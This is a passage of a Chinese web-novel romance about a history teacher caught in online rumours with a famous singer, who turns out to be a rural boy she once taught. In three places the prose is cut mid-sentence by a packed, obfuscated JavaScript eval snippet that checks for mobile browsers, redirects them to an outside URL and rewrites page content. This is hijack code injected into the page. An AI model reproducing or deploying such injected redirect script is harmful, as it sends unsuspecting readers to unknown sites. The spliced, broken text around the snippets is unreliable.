她的头像,是一个简单的卡通姜饼人。 烬野瞬间坐直了身体。 因为那个头像,和姜雪的微信一模一样。 他快速地翻看整个评论区,看着姜雪被一群网友嘲笑,却依然坚持为自己说话。 一种奇妙的感觉在心头升起,他的嘴角控制不住地上扬。 他下意识地就想关注姜雪的账号,但理智还是抢先一步让手指停了下来。 他现在是大 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那个男人,那个欺骗了姜雪的男人,曾经拥有她的全部信任与爱意。 而他,在十年前只是一个被她温柔对待的乡村少年,连表白的资格都没有。 他继续往下翻,看到半年前的一条:“有些伤痛,需要跨越半个中国才能逃离。新城市,新工作,新的开始。” 配文是一张空荡荡的新公寓照片,窗外是城市天际线。 他的手指停在屏幕上,几乎能感受到那份孤独。 他呼出一口气,继续往下翻阅。 三个月前:“新学期,新学校。希望一切顺利。” 照片里是一个无人的教室,阳光透过玻璃窗洒在整齐的课桌上。 半个月前:“被学校钦点参加什么真人秀。我一个普通历史老师有什么好拍的?希望不要太难堪。” 最近一条是前天:“要录制了,听说会有很多明星,我这个社恐已经开始头痛了。” 他关掉页面,站起身走向落地窗。 夜色中的城市灯火如繁星,他的拳头却攥得很紧。 她曾经的幸福和现在的伤痛,在他脑海里交织。 那个渣男不配拥有她的爱。 而此刻的他,终于有能力走进她的生活。 他要让她知道,当年蹲在泥水里给野狗包扎的姑娘,早该有个人替她擦干净手上的泥。 —————————— 周末的早上,姜雪搞好了出租屋的卫生,刚选了一本喜欢的书摊开在桌上,手机就震了起来。 她点开郑乃宁的语音弹窗,对方的声音尖叫着从对面传来:“雪啊!你快看微博!热搜第八位!” 她不以为然地划开锁屏,看到了一条红得刺眼的热搜词条—— #烬野夜会教师,两人疑似假戏真做# 配图是隔着雨幕的偷拍照:男人撑着黑伞将她护在身侧,其中一张甚至能清晰看见她被雨淋湿的刘海贴在额头上。 评论区已经炸开了锅。 【顶流深夜幽会素人?这剧本太假了吧】 【这女的看着太老了,貌似比烬野要老十岁】 【逼宫上位么?心机女啊!】 诸如此类的留言不断刷新着界面。 她掐着虎口强迫自己点开原博。 营销号用知情人爆料的口吻编造着“节目录制前女教师蓄意接近”的故事,阅读量和转发量均已达到几十万。 她浑身血液都凉了。 8. 第 8 章 “这下完了”,姜雪拨回给郑乃宁,声音都在抖,“我才换了新工作,现在又……” 平时郑乃宁都是看热闹不嫌事大,最喜欢逗她,现在听她急了,连忙安抚:“你先别担心,这种热搜过几天就下去了。我过来接你,咱们见面说。” 姜雪在家里坐立不安,干脆下楼等。但一出单元楼,就看到了前夫王思达。 “你怎么来了?”姜雪看到他就烦。 王思达拦住她,“我有正事找你。” “我和你没什么好谈的”,姜雪扭头要走。 “是关于我们的房子”,王思达语气诚恳,“就耽误你五分钟。” 姜雪犹豫了一下,最终停下脚步。 王思达开门见山,“我和赵晨想有个家。” 姜雪嗤了一声,“赵晨?你那个男小三?” 王思达脸上有些挂不住,“过去的事就别提了,我是想问,你能不能按照现在的市价把房子卖给我?” “市价?” “对,你知道现在的行情,这套房挂中介三个月都没动静,拖下去不知道什么时候才能卖出去。干脆这样吧,我把你给的首付还你,然后剩下的钱,按照现在的市价,给你六成”,王思达一副公事公办的口吻。 去年房价高位,首付一人一半。今年房价低迷,剩下的钱,王思达居然是按照现在的价格算。 姜雪在心中冷笑。 赤裸裸的趁火打劫! 以这样的价格卖给他,自己无疑是血亏。 可是,她真的不想再和这个人有任何牵扯了。 每一次接触,都像是在揭开她不堪的伤疤。 金钱上的损失,比起精神上的解脱,似乎也并非不能接受。 她只想快点结束这一切。 “可以。” 姜雪的回答出乎王思达的意料,他甚至准备了更多的说辞。 “你……你答应了?” “把钱尽快转给我。” 姜雪不想多说一个字,只想速战速决。 王思达点头如捣蒜,仿佛生怕她反悔,匆匆告辞离开了。 郑乃宁订的聚餐地点在城西一家网红餐厅,她说他们家的松露牛排特别好吃。 姜雪两人站在门口排队等候,周围都是年轻女孩,叽叽喳喳地讨论着最新的娱乐八卦。 “你看到了吗?烬野和那个女老师的事!” “看到了!那女的是不是想蹭烬野的热度啊?” “估计是想借机上位吧!” “烬野绝对不会喜欢这种女人,一看就是设计好的!” 姜雪听着周围的议论,脸色越来越难看。郑乃宁拍拍她的背,给了一个安慰的眼神。 就在这时,站在后面的两个女大学生盯着姜雪看了半天,其中一个突然指着她,“诶,你不是上热搜的那个女人吗?” 周围的人顿时安静下来,所有目光都集中在姜雪身上。 姜雪感觉自己像是被钉在了耻辱柱上,全身的血液都凝固了。 郑乃宁脸色一沉,拉起姜雪的手,“走,换地方,这种破店不配我们消费。” 两人匆匆离开餐厅,郑乃宁开车直奔老秦家大排档。那儿店面不大但很干净,最重要的是有包间,不用担心被人认出来。 “秦叔老规矩,两瓶啤酒,一份炒河粉,一份东坡肉,再来两个小菜”,郑乃宁熟门熟路地点了菜。 吃了一点东西后,郑乃宁问她,“你和烬野到底怎么回事?为什么他会送你回家?” “那天晚上下雨,他刚好经过学校,看到我在门口等车,就过来撑伞了”,她摇着头苦笑,“就这么点事,被人拍了照片,断章取义说成那样。” 郑乃宁若有所思,“你确定他只是偶然路过吗?” 姜雪一愣,“你什么意思?” “没什么,就是觉得有点巧合”,郑乃宁摆摆手,“不管怎样,这事肯定会翻篇的。” 姜雪低头看着酒杯,眼泪终于不受控制地流了下来,“我觉得自己好失败啊!” 她的声音带着哭腔,压抑许久的情绪终于找到了突破口,“之前那段婚姻,像个笑话一样,被人骗得团团转。” “现在好不容易换了个城市,换了份工作,以为可以重新开始,结果又弄成这样。” 她想起网络上那些恶毒的评论,想起街上那些异样的眼光,担心自己刚刚稳定的生活又将分崩离析。 “学校呢?同事们呢?学生呢?他们以后会怎么看我?”她撑着脸哭,“我不想再失去这份工作了。” “傻丫头,哭出来就好受点了”,郑乃宁心疼地揽住她,递过纸巾,“那不是你的错,是那些贱人眼瞎。” “你要相信一定会有的,一定会有那么一个人,会看到你的好,会好好爱你,把你捧在手心里。” 姜雪靠在郑乃宁肩膀上,“我不要再相信爱情了,我要专心致志搞钱。” 第二天,姜雪顶着宿醉的头痛来到学校。 刚走进办公楼,她就感觉周围的目光都不一样了。 有人窃窃私语,有人假装没看见她,还有人直勾勾地盯着她看。 她深吸一口气,走向自己的工位。 “姜老师”,身后传来黄丽的声音。 “有什么事吗?黄级长”,姜雪回头,勉强笑了笑。 黄丽面色严肃,“姜老师,校长让我转告你,近期的节目录制你暂时不用参加了。” 姜雪心里一沉,“为什么?” “你应该知道为什么”,黄丽意有所指地看了她一眼,“学校不希望有更多的负面新闻。” 姜雪咬着嘴唇,“黄级长,那些都是误会,我和烬野先生只是……” “具体情况我不想过问”,黄丽打断她,“这是校长的决定。总之,先这样吧。” 姜雪看着黄丽离去的背影,感觉一阵无力。 她打开电脑,那条热搜依然高挂。 她点开图片,雨夜中男人为她撑伞的画面模糊却暧昧,还有一张是他们站在校门口交谈的照片,男人微微低头,似乎在凝视她。 姜雪脑海中突然浮现出第一天录制时李晓臻的话:“现在这个社会,教得好不如嫁得好,姜老师你说是不是啊?” 当时她只觉得刺耳,并未深思。 现在想来,那句话似乎充满了暗示。 一股怒火从心底窜起。 她径直走到李晓臻的办公桌前,“李老师,你出来一下,我有话问你。” 李晓臻正对着镜子补妆,闻言懒洋洋地抬起眼皮,嘴角带着一丝若有若无的笑意,“姜老师啊,什么事这么急?” 姜雪把李晓臻带到楼梯拐角,问:“热搜上的照片,是不是你交给媒体的?” “我怎么会做这种事?”李晓臻睁着无辜的大眼睛,带了几分被冤枉的委屈。 姜雪紧紧盯着她,试图从中找出破绽,“我要知道真相。” “真相?”李晓臻笑了一声,“真相就是你凭什么一来学校就能参加节目?又凭什么能得到烬野的特殊照顾?” 姜雪愣住了,“我没有得到任何特殊照顾,那天晚上纯属巧合。” “巧合?”李晓臻冷冷地看着她,“你以为我会相信吗?” “所以,那些照片真的是你拍的?”姜雪追问。 李晓臻整理了一下自己的衣领,“姜老师,你有证据吗?没证据的话,可别乱说哦。” 姜雪看着李晓臻得意的样子,胸口一阵发闷,“你为什么要这么做?我们素不相识,我从未得罪过你。” “你的存在就是得罪我”,李晓臻不再掩饰敌意,“本来这个节目应该是我一个人主持的,结果校长硬是要安排你来分一杯羹,弄个什么副班主任。” 姜雪摇摇头,“我并不想参加节目,是校长安排的。” “但你还是来了,不是吗?”李晓臻冷笑。 姜雪深吸一口气,“李老师,如果是你做的,请你出面澄清。这对我的名誉影响很大。” “澄清?”李晓臻像是听到了什么笑话,“姜老师,娱乐圈的水很深,你真的以为这只是简单的照片问题吗?” 姜雪不解地看着她。 李晓臻凑近她,轻声说:“有些机会,要懂得把握。你可以选择被舆论压垮,也可以选择借势而上。” 姜雪后退一步,“什么意思?” “和烬野炒作一下,对你有什么坏处呢?”李晓臻意味深长地说,“你看看你现在的处境,如果能攀上烬野,哪怕是绯闻,也比现在强。之后再开个直播,赚得可比现在教书多得多了。” 姜雪震惊地看着李晓臻,“你以为我是你吗?我不需要靠攀附明星来证明自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毛远叹了口气,“你知道这行的规矩。你正当红,任何一点负面新闻,尤其是恋情,都可能对你的事业造成毁灭性的打击。你还年轻,以后有的是机会,没必要为了一时冲动……” “我已经说了,没有恋情”,烬野的声音冷静得可怕。 “那就更好办了”,毛远拿起电话,“我现在就联系节目组,把那个女老师换掉,这事就过去了。” 烬野站起来,一字一句,掷地有声,“如果换人,我就退出节目。” 毛远震惊地看着他,“你疯了?这可是违约啊!” “那就违约”,烬野冷冷地说,“我不差这点钱。” 毛远气得差点一口气没上来,指着烬野的手都在发抖,“你他妈是不是脑子进水了?为了一个素不相识的女人,你要赔上你辛辛苦苦打拼下来的一切?钱都是其次,以后哪个合作商敢用你?” “她不是素不相识的人”,烬野的声音很轻,却带着一种奇异的笃定。 毛远一愣,随即露出了然的神色,“哦?有故事?” 烬野没有解释,只是回视着她。 毛远在办公室里踱了几步,脑子飞速运转。 突然,她停下脚步,脸上露出了一个经纪人特有的夹杂着算计和兴奋的笑容。 “我明白了!”她打了个响指,“你是想借这个机会炒作,对不对?” 烬野微微抬眸,不置可否。 毛远以为自己猜中了他的心思,越说越兴奋。 “虽然你以前从来不屑于搞这些营销手段,但现在情况特殊,偶尔来一次也不是不可以!男歌手和女老师的人设搭配,清新脱俗,粉丝应该会吃这一套。” “我们顺势引导一下舆论,把这次的‘意外’变成一次浪漫的邂逅,不仅能化解危机,还能帮你固粉,甚至吸引一批新的CP粉!”毛远越说眼睛越亮,仿佛已经看到了大爆的热搜和飞涨的人气。 烬野沉默了几秒,缓缓道:“可以。” 毛远惊讶得嘴巴都快合不拢了。 “真的?你答应炒CP了?” 她印象中的烬野,对这种事情向来是嗤之以鼻、避之唯恐不及的。 烬野点点头,“嗯,就这么决定了。” 毛远还沉浸在震惊中,“等等,你认真的?” 烬野已经走到门口。他头也不回,“很认真。” 毛远看着烬野离去的背影,总觉得事情没那么简单。但既然他肯配合,她也不准备多问。炒作就炒作吧,反正对事业有利。 只是,那个女老师,到底是什么人呢? 9. 第 9 章 手机屏幕幽幽亮起,震动打破了室内的寂静。 姜雪拿起手机,是烬野打来的微信电话。 她犹豫了一下,还是划开了接听键。 电话那头传来略显沙哑的男声,“姜老师,是我。” “有事吗?”姜雪的声音带着刻意的疏离。 “关于热搜的事情,我很抱歉”,烬野的声音很真诚,“给你造成了很大的困扰。” 姜雪沉默着,指尖的凉意似乎透过手机传了过来。 “节目组那边,我已经沟通过了”,烬野语气放缓了些,“如果你愿意,我们可以录制第二集。” 继续录制? 姜雪下意识地想拒绝,那些不堪的评论以及路人们的指指点点,她可不想再经历一次。 但是,冰冷的现实像潮水般涌上心头。 这个城市的物价高得惊人,她的积蓄正在快速缩水。 王思达的买房钱还没转过来,她被下个月的房租以及日常的开销,压得喘不过气。 她轻轻咬了咬下唇,“我知道了。” —————————— 第二期节目录制的现场,气氛比第一期轻松了不少。 这一期的主题是校园寻宝,固定嘉宾们都换上了运动校服,在镜头前嬉笑打闹。 烬野作为寻宝队伍的一员,自然是镜头的焦点。 姜雪的角色则更像一个安静的背景板,偶尔配合着给出一些线索提示。 她站在离摄像机稍远的位置,尽量降低自己的存在感。 然而,周围若有似无的视线让她如坐针毡。 姜雪蹙了蹙眉,她知道那是烬野。 他今天似乎格外沉默,不像其他嘉宾那样积极地寻找线索,反而时不时地看向她的方向,眼神里带着一种她读不懂的探究。 这种感觉让她莫名烦躁。 终于熬到中场休息。 嘉宾们三三两两聚在一起喝水补妆。 姜雪松了口气,找了个角落想安静待一会儿。 脚步声却由远及近。 她抬起头,见烬野拿着两瓶水正朝她走来。 他逆着光,碎发在额前投下浅浅的阴影,神情看不真切。 “姜老师,喝水”,他将其中一瓶递了过来。 姜雪看着水,又看看他。 热搜的余波未平,她不想再惹上任何不必要的麻烦。 “谢谢,我不渴”,她微微侧身,避开了他的目光,也拉开了两人之间的距离。 烬野递水的动作僵在半空,眼底闪过失落。 他闭了闭眼睛,再度开口,“昨天的电话有些突然,我想当面再次道歉。” “没关系,烬野老师”,她刻意加重了“老师”两个字,职业性地对他笑笑,“我们还是专注于节目吧。” 节目录制结束,已是傍晚。 姜雪婉拒了节目组聚餐的邀请,独自一人坐公交回家。 晚高峰的街道车水马龙,初上的霓虹灯给这座城市蒙上了一层暧昧的色彩。 她戴着耳机,将自己与喧嚣隔离开。 快到楼下的时候,姜雪隐约感觉有些不对劲——身后似乎总有一道不远不近的脚步声跟着自己。 她猛地停下脚步,快速回头。 身后空荡荡的,只有几个行色匆匆的路人。 是错觉吗? 她皱了皱眉,继续往前走,警惕却提了起来。 路过一个拐角时,她加快脚步,迅速转了过去,然后立刻闪身而出。 烬野就站在几米外的地方,被她这突然的举动惊住了。 “你跟踪我?”姜雪的瞳孔骤然收缩,声音里带着难以置信和愤怒。 他似乎也没想到会被发现,一时间竟无言以对。 路灯将两人的影子拉得很长,空气中弥漫着一丝尴尬与紧张。 姜雪脑中闪过最近网上爆出的各种明星睡粉丑闻,心中警铃大作。她之前从不相信这些,但现在亲身经历,不得不防。 她眼神变得冷冽,接下来的每一个字都像淬了冰: “我承认你的歌确实不错,我也喜欢听。” “但仅此而已。” “我不会和你,或者你们这个圈子的任何人,发生任何工作以外的关系。” “所以,请你以后不要再来找我。” 烬野眼中的错愕渐渐凝固,他想要开口辩解,“我……” “你们演艺圈的人,最擅长的就是演戏”,姜雪打断他,毫不留情地讥讽道:“收起你那套吧。” “但是,如果你对学校里其他的女学生也这样”,她的声音陡然拔高,“我会毫不犹豫地把这些事情全部发到网上去,让所有人都看看顶流明星的真面目!” 烬野清晰地从她眼中看到了那种不惜一切的决绝,他意识到自己一定是做错了,而且错得很离谱。 他摘下口罩,露出了那张在聚光灯下完美无瑕的脸,“我没有恶意。” 他掏出了自己的手机,想说自己不是海王群发信息,就是想和她多说几句话。 姜雪却厌恶地别开脸,向后退了一步,“我不想看。” 但是,她踩到了一块松动的砖石,脚下一空,身体不受控制地向后仰去。 惊呼声卡在喉咙。 就在她以为自己要狼狈摔倒的时候,一只手臂及时搂住了她的腰,将她稳稳地拉了回来。 炙热的体温透过薄薄的衣料传来,鼻间缠绕着男性的气息。 姜雪猛地推开他,脸上火辣辣的。 “别跟我玩这种偶像剧的桥段!”她恶狠狠地瞪着他,羞愤交加。 “现在是二十一世纪,法治社会!就算你是大明星,跟踪也是违法的,你懂不懂!” 烬野看着她炸毛的样子,有些手足无措。 他确实没有谈过恋爱,对于如何培养感情,他只从那些被团队精心包装过的、抽象的“爱情营销故事”里窥见过一鳞半爪。 至于现实中的碰撞,他既笨拙又茫然。 但他也知道,这个误会不能越来越大了。 他深吸一口气,语气是前所未有的诚恳,“姜老师,我要怎么做,你才能原谅我无意的冒犯?” 姜雪瞥了他一眼,带着几分戏谑刁难道:“那要不然,你给贫困山区捐点钱?” 不过是随口一句带着讽刺的玩笑话,没想到烬野竟然当真了。 他二话不说,低头迅速在手机上操作起来。 片刻之后,他把手机屏幕举到姜雪面前,像一只做对了事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627015|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待主人夸奖的小狗。 屏幕上赫然显示着一张捐款成功的截图——五十万人民币,收款方是某个贫困山区助学基金会。 更让她错愕的是,捐赠人那一栏,清清楚楚地写着她的名字:姜雪。 姜雪一时语塞。她看着那个刺目的数字,只觉得荒唐。 “你可真有钱啊”,她回过神来,语气里带着浓浓的嘲讽,“现在捐款这么配合,是怕我把你跟踪我的消息爆出去,影响你的星途和钱途吧?” 烬野闻言,眉头微微蹙起。 他没有反驳,而是再次点开了手机里的一个文件夹,然后一条一条地展示给姜雪看。 那是他这些年的个人捐款记录。 从他尚未成名的时候开始,数额有大有小,但从未间断。 其中一个受捐地点,赫然是她大一当年支教的那个偏远山区小学。 姜雪看着那些记录,尘封的记忆像是被投入石子的湖面,泛起了层层涟漪。 她脸上的冷漠渐渐褪去,取而代之的是一种复杂难言的情绪。 她勉强压下心头的波澜,声音缓和了一些,“这次就算了。” 她转身要走,但刚迈出一步,脚踝处便传来一阵钻心的刺痛。 她忍不住“嘶”了一声,额头上渗出了细密的汗珠。 烬野下意识地向前,却又猛地顿住。 他努力保持着一个微妙的边界感:“姜老师,你还好吗?需要我帮忙吗?” 姜雪咬着牙,从牙缝里挤出两个字:“不用。” 她一瘸一拐地往前挪动,每一步都像踩在刀尖上。 烬野看着她的背影,又环顾了一下四周。这是一条偏僻的小巷,光线昏暗,行人稀少。 他几步跑到姜雪面前,微微屈膝,示意自己可以背她,“这样会快一点。” 姜雪看着他宽阔的背,愣了一下,随即断然拒绝,“不用,我自己可以。” 烬野眼中的光芒黯淡了下去,带着难以言喻的失落。 他直起身,看着她倔强地向前挪去,却又无可奈何。 —————————— 放学铃声响起,姜雪独自一人走向校门口,傍晚的霞光拖长了她的影子。 公交站台下,几片落叶旋舞着,预示着夏天将要过去了。 “哟,这不是姜老师吗?”一个尖细的声音划破了宁静。 李晓臻抱臂斜倚在站牌旁,嘴角挂着毫不掩饰的讥讽,“等谁呢?你的靠山呢?” 她的眼神像淬了毒的针,一下下刺向姜雪,“某些人啊,就是不一样,闹出那么大的负面新闻,还能稳如泰山继续录节目。” 姜雪眉眼未动,甚至没有偏头看她一眼,此刻的她只想过滤掉这些无意义的噪音。 李晓臻见她不搭理,反而变本加厉,声音拔高了几度。 “怎么,攀上高枝了,连话都懒得说了?” “听说烬野为了你,不惜跟节目组翻脸呢。” “啧啧,真是感天动地的爱情啊。” 每一句话都充满了恶意揣测。 姜雪终于停下了检视公交车进站方向的目光。 她缓缓转向李晓臻,眼神平静无波,却透着一股迫人的寒意,“我忍你很久了,李晓臻。” 10. 第 10 章 对于姜雪的反击,李晓臻一开始还不以为然,她挑了挑眉,“姜老师还有什么要说的?” 姜雪深呼吸,强压下心中的怒火,“你知道我为什么一直不理你吗?不是因为我怕你,而是我懒得搭理你。但是现在,我必须告诉你一件事。” 李晓臻脸上的笑容渐渐消失。 姜雪声音不大,却字字清晰,“我已经去监控室查了学校门口的监控录像,我看到了你偷拍我上烬野的车。” 李晓臻的脸色瞬间变得苍白,“你在胡说什么?” 姜雪拿出手机,点开一段视频。 校门口昏黄的路灯下,李晓臻鬼鬼祟祟的身影清晰可见。她正举着手机对着姜雪和烬野的方向拍摄,时间恰是热搜照片的那个雨夜。 “监控视频我已经复制了一份在我手机里。这是侵犯他人隐私,你说我是不是应该报警处理呢?” 李晓臻完全没了刚才的嚣张气焰,“你……你胡说!” 姜雪目光紧锁着她,“如果你真的清白,可以跟我一起去警局查清楚。” 李晓臻彻底慌了。 她一把抓住姜雪的胳膊,姿态卑微下来,“姜雪,姜老师,你别报警!” “我……我不是故意的”,她带着哭腔,眼泪说来就来,“我儿子生病了,欠了好多钱,我实在没办法,才想着拍点东西卖给那些黑粉……” “我知道错了,你原谅我这一次,好不好?”她哀求着,试图博取同情。 看着李晓臻痛哭流涕的样子,姜雪的心,到底还是软了一下。 父亲早逝,外婆的身体也一直不好,母亲自打她记事起,总是医院家里两头奔波。 为亲人着急的心情,她多少能理解几分。 见她神情松动,李晓臻却眼神一厉,猛地伸手去抢夺她的手机。 姜雪反应过来,迅速护住手机,两人在人行道上拉扯起来。 “把手机给我!我不能让你去报警!”李晓臻像是疯了一样,力气大得惊人。 拉扯之间,姜雪只觉得一股巨大的推力从侧面袭来。她脚下一个踉跄,整个人不受控制地朝着马路中间摔去。 此时,一辆车正疾驰而来,刺耳的鸣笛声骤然响起。 完了! 这个念头在她脑海中闪过。 就在这千钧一发之际,一道身影猛地冲了过来。 温热有力的手臂紧紧箍住了她的腰,将她往后一带。 姜雪重重撞进一个坚实的怀抱,与此同时,那辆车呼啸着擦着那人的手臂掠过。 她惊魂未定,抬头看清了救她的人。 “没事吧?”烬野的声音里带着焦急。 姜雪还没来得及回答,就看到他皱起了眉头,白色衬衫的袖子迅速被渗出的血染红了一块。 她惊呼出声,“你的手!” 烬野低头看了一眼,轻描淡写地说:“没什么,就是被汽车后视镜刮了一下。” 李晓臻早已吓傻在原地,脸色惨白。她结结巴巴地辩解,“我……我不是故意的……” 姜雪再顾不上其他。她扶住烬夜,“我们去医院处理一下。” 医院的急诊室很安静。 姜雪陪着烬夜处理伤口,看着医生和护士细致地清洗、消毒、上药、包扎。 她的心一直揪着,直到医生说没有伤到骨头才稍稍松了口气。 她看到他苍白的脸色,心中有些愧疚。 等待取药的间隙,几个年轻女孩兴奋地围了上来。 “啊!真的是烬野!” “还有姜老师!天啊,你们真的在一起啊!” 姜雪愣住了,“不,我们不是…” 女孩A笑得更加灿烂了,“不用解释啦!我懂的!我是你们的CP粉啊!我觉得你们真的好配!” 烬野淡定地看着女孩,甚至还友好地点了点头。 “姜老师”,女孩B认真地看着姜雪,“你一定要好好珍惜烬野啊!他可是千万少女的梦中情人!请你们一定不要分手!” 姜雪眼睛都大了。 分手? 她们在说什么? 她和烬夜什么时候在一起过? 那几个CP粉叽叽喳喳表达了一番祝福与期待,又对着颜念潮一阵星星眼,才恋恋不舍地离开。 姜雪确定女孩走远了,立刻转向烬野,“这是怎么回事?为什么她会以为我们在……在交往?” 烬野避开她的视线,“可能是因为那些报道吧。” “那你为什么不解释?”姜雪追问。 烬野看上去有些为难,“其实是经纪公司的意思。他们看到那些照片后,认为这是个不错的宣传机会,强迫我……” “强迫你炒CP?”姜雪惊讶地问。 烬野点点头,语气里添了几分无奈与委屈,“在这个圈子里,表面看起来风光,实际上很多事情都身不由己。如果不听话,资源和机会就会被收回。” 他的目光落在姜雪身上,带着恳求,“现在算我救了你一次,对不对?你就当体谅我,别当面戳穿,行吗?” 姜雪不知道该说什么。她叹了口气,算是默许了。 颜念潮嘴角几不可查地扬了扬,转瞬即逝。 他抬起受伤的右手,有些笨拙地晃了晃,“医生说这两天伤口不能碰水。” 他微微蹙眉,苦恼道:“我这样回去,被那些狗仔队拍到,指不定又会怎么乱写。” “而且,一个人换药不方便,吃饭也是个问题”,他看向姜雪的眼神带着期盼,“今天,能不能请你帮个忙?” 姜雪的心本就因为他的救命之恩和受伤而软了下来。 现在听到他这么说,再看着他那副可怜兮兮的样子,拒绝的话无论如何也说不出口。 她犹豫了一下,最终开口:“我家就在附近,如果你不嫌弃的话,上来吃顿饭再回去休息。” 姜雪的出租屋不大,但干净整洁。烬野站在客厅中央,显得有些拘谨。 她示意他随便坐,“我去做点简单的晚餐。” 烬野点点头。他坐在客厅的沙发上,受伤的右手搭在抱枕边。 她系着围裙在厨房里忙碌,身影在暖黄的灯光下显得格外温柔。 电视机开着,但他没看,目光扫过客厅的每一个角落。 转角的书架上放着一个相框,里面有一张泛黄的合影照片。 一群穿着朴素校服的半大孩子,簇拥着一个年轻的女孩。她的笑容很青涩,但比现在更无拘无束。 他的呼吸,有那么一瞬间的凝滞。 饭菜很快端上了桌。两菜一汤,简单却透着家常的温馨。 烬野过去想要帮忙,但右手受伤,显得有些尴尬。 “你坐着就好”,姜雪解下围裙,坐在他对面。 她有些不好意思,“尝尝吧,不知道合不合你胃口。” 空气中弥漫着莫名的安静,姜雪注意到烬野的视线总是飘向书架。 她很好奇地顺着他的目光看去,“怎么了?” 烬夜收回视线,夹了一口菜,慢慢咀嚼着,似乎在品尝,又似乎在思考着什么。 终于,他还是放下了筷子。 他抬起头,目光深邃地看向姜雪,“你还记得我吗……姐姐?” 这有些颤抖的声音,穿透十年光阴,带着令人心悸的熟悉与全然的陌生,在姜雪耳边炸开。 眼前的烬野,或者说颜念潮,拿起了书架上那张支教合影。 他的指尖微颤,轻轻点在一个不起眼的少年身上。 他目光灼灼地锁着她,仿佛在等待一场迟来的宣判,“这是我。” 姜雪的目光在照片上那个稚气未脱的少年,和眼前这个眉眼深邃的男人之间来回逡巡。 她的脑海里轰然炸开了某些东西,无数被岁月尘封的碎片瞬间清晰。 原来是他。 真的是他。 那个总是在她窗外徘徊,捧着缺了角的课本,用带着浓重乡音的普通话一遍遍读着课文的少年。 十年。 整整十年。 岁月是把怎样的刻刀,能将一个山村里营养不良的黑瘦少年,雕琢成眼前这个气质卓然,站在聚光灯下便能引爆全场的顶流歌星。 她眼神复杂地看着他,试图从这张成熟英俊的面容上,找出当年那个瘦弱少年的影子。 眉眼间的轮廓依稀还在,但那份独属于山野的质朴,早已被娱乐圈的精致与疏离感覆盖。 他不再是那个会因为她一句表扬就红了脸颊的颜念潮。 他是烬野。 万千粉丝追捧,光芒万丈的烬野。 这巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“录歌更是奢望。我只能用最简单的录音笔,在无人的街头一遍遍地唱,效果自然不好,投出去的作品都石沉大海。” 他回忆起那些青涩却执着的岁月,眼底有微光闪动,那是梦想最初的模样。 “后来,我好不容易有了一点点名气,能上一些节目了,却又遇到各种糟心事。” 他的语气变得有些沉重,带上了对现实的无奈。 “这个圈子,从来不缺资本的游戏。” “没有背景,就算你再努力,镜头也可能永远只给你一个模糊的侧脸,甚至‘一剪没’。” “有时候,还会遇到恶意的剪辑,明明是很正常的互动,却被掐头去尾,塑造成另外一副截然不同的模样,引来无数的谩骂。” 客厅挂钟上的时针已经指向了深夜。 窗外的霓虹不知何时已变得稀疏,城市的喧嚣也渐渐沉寂下来。 烬野说了这么多,声音已经有些沙哑,眉宇间也染上了疲惫。 姜雪刚想说让他早点回去,他就恰到好处地扶住右手,露出一副痛苦的模样,“麻药过了,我手很痛,开不了车。明早还得换药……” 她看着他那刻意示弱的模样,心头一软,脱口而出道:“那你今晚先在这儿,明天必须回家。” 烬野应了一声,嘴角在她转身的瞬间,悄悄勾起一抹得逞的弧度。 他随即恢复了那副乖巧无害的模样,朝她背影喊,“谢谢姐姐。” 姜雪走向次卧的脚步顿了顿。 这一夜,她睡得并不安稳,脑海里纷乱的思绪如同电影片段般闪回。 清晨的阳光透过窗帘缝隙照进房间时,她才迷迷糊糊地醒来。 她抓起手机看了一眼时间,猛地坐起身。 已经快九点了。 就在这时,门铃声突兀地响了起来。 姜雪趿拉着拖鞋,匆匆去开门。 门口站着的郑乃宁,一身运动装,额头上还带着细密的汗珠,显然是晨跑刚结束。 “雪啊,太阳都晒屁股了,你还在梦周公啊?”郑乃宁笑着调侃,径直往里走,“不开电话,约你吃早饭都得我亲自上门逮人。” 姜雪想拦都拦不住。 郑乃宁自顾自地在客厅张望,目光只随意一瞥就整个人定在了原地。 11. 第 11 章 郑乃宁见到一个高大的身影从次卧的方向走了出来。 他睡眼惺忪,头发还有些凌乱,可那张惊为天人的脸,分明就是那个男歌手! 郑乃宁的嘴巴瞬间张成了O型,手里的运动水壶也掉在了地上,“烬……烬野?” 姜雪的脸都白了,她连连摆手,“不是你想的那样!” 郑乃宁一把揽过姜雪的肩膀,暧昧地挤了挤眼睛,声音充满了八卦的火花,“出息啊,金屋藏顶流!” 姜雪一跺脚,赶紧把她往门外推,“你不是要吃早餐吗?我们下楼说!” 街角那家熟悉的早餐店,依旧是热气腾腾的烟火气。 姜雪拉着郑乃宁在最角落的位置坐下,生怕被人听了墙角。 郑乃宁显然还没从刚才的震惊中缓过神来。 她的眼神促狭中带着兴奋,仿佛已经脑补出了一万字的小作文,“老实交代,怎么回事?” 她嘴角抑制不住地上扬,“之前热搜我还在替你鸣不平,结果今天早上他就从你家出来了?进展神速啊姐妹!” 姜雪放下勺子,有些头疼地看着自己这个唯恐天下不乱的闺蜜,“你想多了。” 郑乃宁显然不信。 她凑得更近了,“孤男寡女,共处一室,还过夜了。这要不是有点什么,我郑乃宁的名字倒过来写!” 姜雪知道自己不解释清楚,郑乃宁能把这件事编排出十八个版本的偶像剧。她只好将十年前在山村支教时认识颜念潮的事情,以及昨晚发生的一切,简略地说了一遍。 